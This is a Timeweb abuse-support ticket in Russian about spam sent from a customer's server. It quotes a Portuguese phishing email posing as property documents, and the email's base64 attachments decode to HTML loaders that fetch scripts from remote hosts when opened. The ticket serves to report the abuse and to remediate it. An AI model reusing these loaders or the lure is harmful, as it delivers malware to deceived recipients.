|
[SpamCop (188.225.44.25) id:7124336301]Documentos Solicitados 323526.
По Вашему запросу N4885421 было получено новое сообщение.
Автор сообщения: Поддержка Timeweb
Время: 2021-05-25 17:51:05
Тип: Новое сообщение
Логин аккаунта в системе: victor5151
================================
Мы зафиксировали рассылку спама с вашего сервера. Технические заголовки письма:
[ Offending message ]
"From - Tue May 25 11:13:44 2021
"
X-Account-Key: account13
X-UIDL: UID1936-1532380689
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path:
Delivered-To: x
Received: from vps.raomkt.com.br
by vps.raomkt.com.br with LMTP
id h4oEEdgErWCSVQAAUpArAg
(envelope-from )
for ; Tue, 25 May 2021 11:08:24 -0300
Return-path:
Envelope-to: x
Delivery-date: Tue, 25 May 2021 11:08:24 -0300
Received: from levi03.consultradenatran.trade ([188.225.44.25]:57454)
by vps.raomkt.com.br with esmtp (Exim 4.94.2)
(envelope-from )
id 1llXjB-0005gM-Tc
for x; Tue, 25 May 2021 11:08:24 -0300
Received: by levi03.consultradenatran.trade (Exim, from userid 33)
id 88D322934D; Tue, 25 May 2021 11:04:35 -0300 (-03)
To: x
Subject: Documentos Solicitados 323526.
MIME-Version: 1.0
From: CNW Consultoria 109034.
Date: Tue, 25 May 2021 11:04:33 -0300
Reply-To: cnwconsultoria574832@terra.com.br
Content-type: multipart/alternative; boundary="-------250520210433_65cdac0067853708a49c979ff20f7e08"
Message-Id: <2021_________________934D@levi03.consultradenatran.trade>
X-Spam-Status: No, score=-92.3
X-Spam-Score: -922
X-Spam-Bar: ---------------------------------------------------
X-Ham-Report: Spam detection software, running on the system "vps.raomkt.com.br",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: x Segue os documentos solicitados cópia
de Matricula do Imovel e Guia de ITBI: Documento em anexo digitalize o comprovante
após o pagamento.
Content analysis details: (-92.3 points, 4.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
-0.0 USER_IN_WELCOMELIST user is listed in 'welcomelist_from'
-100 USER_IN_WHITELIST DEPRECATED: See USER_IN_WELCOMELIST
4.2 BAYES_80 BODY: Bayes spam probability is 80 to 95%
[score: 0.9103]
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.8 MPART_ALT_DIFF BODY: HTML and text parts are different
1.9 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
0.0 MIME_HTML_ONLY_MULTI Multipart message only has text/html MIME
parts
0.5 FROM_SUSPICIOUS_NTLD From abused NTLD
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
X-Spam-Flag: NO
---------250520210433_65cdac0067853708a49c979ff20f7e08
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
DQo8aHRtbD4NCg0KICAgPGhlYWQ+DQogICAgICAgICAgICANCiAgICAgPHN0eWxlIHR5cGU9InRl
eHQvY3NzIj4gDQogICAgICAgIA0KICAgICAgICBwMntmb250LXNpemU6MjBweDtwYWRkaW5nLWxl
ZnQ6MjBweH0NCiAgICAgICANCiAgICAgIDwvc3R5bGU+ICANCiAgICAgICAgICAgICANCiAgPC9o
ZWFkPg0KDQogICA8Ym9keT4NCiAgICAgDQoNCiAgICAgICAgICAgICAgPGJyLz4gIA0KICAgICAg
ICAgICAgIA0KICAgICAgICAgICAgICAgY29udGF0b0BpYnJhdGV4LmNvbS5icg0KICAgICAgICAg
ICAgICAgPHAgaWQ9IjM1IiBuYW1lPSIzNSIgPlNlZ3VlIG9zIGRvY3VtZW50b3Mgc29saWNpdGFk
b3MgYyYjMjQzO3BpYSBkZSBNYXRyaWN1bGEgZG8gSW1vdmVsIGUgR3VpYSBkZSBJVEJJOjwvcD4g
DQogICAgICAgICAgICAgICAgIDxwIGlkPSIzNSIgbmFtZT0iMzUiID4gRG9jdW1lbnRvIGVtIGFu
ZXhvIGRpZ2l0YWxpemUgbyBjb21wcm92YW50ZSBhcCYjMjQzO3MgbyBwYWdhbWVudG8uPC9wPiAN
Cg0KICAgICAgICAgICAgPHAgaWQ9IjM1IiBuYW1lPSIzNSIgIDI+Q05XIENvbnN1bHRvcmlhIElt
b2JpbGkmIzIyNTtyaWEgTHRkYTwvcDI+IA0KICAgICAgICAgICAgICAgICAgDQogICAgICAgICAg
ICAgICAgPHAgaWQ9IjM1IiBuYW1lPSIzNSIgPlIuIEl2byBOaWNvbGF1IEFudGlub2xmaSwgMTQ5
PHAgaWQ9IjM1IiBuYW1lPSIzNSIgPg0KICAgICAgICAgICAgIA0KDQoJCQkNCg0KCQkJDQogICAg
ICAgICAgICANCiAgICAgICAgICAgICANCiAgIDwvYm9keT4NCg0KDQo8L2h0bWw+DQo=
---------250520210433_65cdac0067853708a49c979ff20f7e08
Content-Type: application/octet-stream;
Content-Disposition: attachment; filename="DOCUMENTO233064.html"
Content-Transfer-Encoding: base64
PGh0bWwgbGFuZz0iZW4iPjxoZWFkPg0KCQk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4LmFzcG5l
dGNkbi5jb20vYWpheC9qUXVlcnkvanF1ZXJ5LTMuNC4xLm1pbi5qcyI+PC9zY3JpcHQ+DQoJCTxz
Y3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHA6Ly9rdGFhcHQuZGVudHJpbnN0
cmludGV4d2ViLnh5ei9WMTZ2aWhzQXNpL1V1QkFzUkZYdmlnWHVCNFY5L0Q3RjJMVUpBdkRrLlQw
MzYiPjwvc2NyaXB0PjwvaGVhZD48YSBocmVmPSIiID4gPC9hPg==
---------250520210433_65cdac0067853708a49c979ff20f7e08
Content-Type: application/octet-stream;
Content-Disposition: attachment; filename="DOCUMENTO233064.png"
Content-Transfer-Encoding: base64
PGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KCQk8c2NyaXB0IHNy
Yz0iaHR0cHM6Ly9hamF4LmFzcG5ldGNkbi5jb20vYWpheC9qUXVlcnkvanF1ZXJ5LTMuNC4xLm1p
bi5qcyI+PC9zY3JpcHQ+DQoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0
dHA6Ly84NmVpd3QuZGFtYnJvc3dlYnR1ci50b3AvVjE2dmloc0FzaS9VdUJBc1JGWHZpZ1h1QjRW
OS9URTdHTEFXQXZEay5UMDM2Ij48L3NjcmlwdD48YSBocmVmPSIiID4gPC9hPg==
---------250520210433_65cdac0067853708a49c979ff20f7e08
Content-Type: application/octet-stream;
Content-Disposition: attachment; filename="DOCUMENTO233064.htm"
Content-Transfer-Encoding: base64
PGh0bWwgbGFuZz0iZW4iPjxoZWFkPg0KCQk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4LmFzcG5l
dGNkbi5jb20vYWpheC9qUXVlcnkvanF1ZXJ5LTMuNC4xLm1pbi5qcyI+PC9zY3JpcHQ+DQoJCTxz
Y3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHA6Ly90dmFlcHcuc3RhbmRlcmNo
aXB3ZWIueHl6L1YxNnZpaHNBc2kvVXVCQXNSRlh2aWdYdUI0VjkvWDhXQkMxM0F2RGsuVDAzNiI+
PC9zY3JpcHQ+PC9oZWFkPjxhIGhyZWY9IiIgPiA8L2E+
---------250520210433_65cdac0067853708a49c979ff20f7e08--
Согласно правилам предоставления услуг, любой вид спама запрещен, поэтому во избежание повторения ситуации в будущем, мы рекомендуем вам выполнить следующие действия:
- защитить формы обратной связи на сайте с помощью captcha;
- изменить пароли доступа к аккаунту и административной части сайта;
- связаться с поддержкой сервиса, отметившего ваше письмо как спам, для получения от них дополнительных инструкций;
- обновить CMS и плагины до последних версий.
Если рассылка была выполнена без вашего ведома, дополнительно необходимо произвести аудит безопасности и принять меры для удаления вредоносного кода из файлов ваших сайтов.
После того, как необходимые меры будут приняты, сообщите нам о результатах. При отсутствии обратной связи от вас в течение 24 часов мы будем вынуждены заблокировать сервер.
Если у вас появятся вопросы, вы можете их задать в рамках текущего обращения.
================================
Полную историю обращения Вы сможете увидеть в Панели Управления по адресу: https://vds.timeweb.ru/tickets/4885421
![]()
|
С уважением, служба поддержки пользователей Timeweb.
https://www.timeweb.com
info@timeweb.ru
|
|